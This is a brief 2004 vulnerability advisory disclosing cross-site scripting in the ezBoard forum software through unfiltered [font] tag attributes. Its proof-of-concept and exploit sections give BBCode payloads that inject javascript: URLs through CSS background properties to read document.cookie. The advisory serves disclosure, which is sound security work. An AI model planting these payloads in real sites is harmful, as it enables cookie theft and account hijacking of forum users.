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Advisory Name:ezBoard Cross Site Scripting Vulnerability 

Release Date: Feb 24,2004 

Application: ezBoard 

Version Affected: 7.3u or lower?

Vendor URL: http://www.ezboard.com/ 

Discover: Cheng Peng Su(apple_soup_at_msn.com) 



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Proof of Concept:

      This vuln is from [font],ezBoard doesn't filter illegal characters ,such as ';()

      

       [font color=red;background:url(javascript:{XSS code})]hey[/font] will show

       hey

       

       and 

       

        [font face=Verdana;background:url(javascript:{XSS code})]hey[/font] will show

       hey

       



Exploit:

        [font color=red;background:url(javascript:alert(document.cookie))]Big Exploit![/font]

        [font face=Verdana;background:url(javascript:alert(document.cookie))]Big Exploit![/font]

         

         

Contact:

Cheng Peng Su

apple_soup_at_msn.com

Class 1,Senior 2,High school attached to Wuhan University

Wuhan,Hubei,China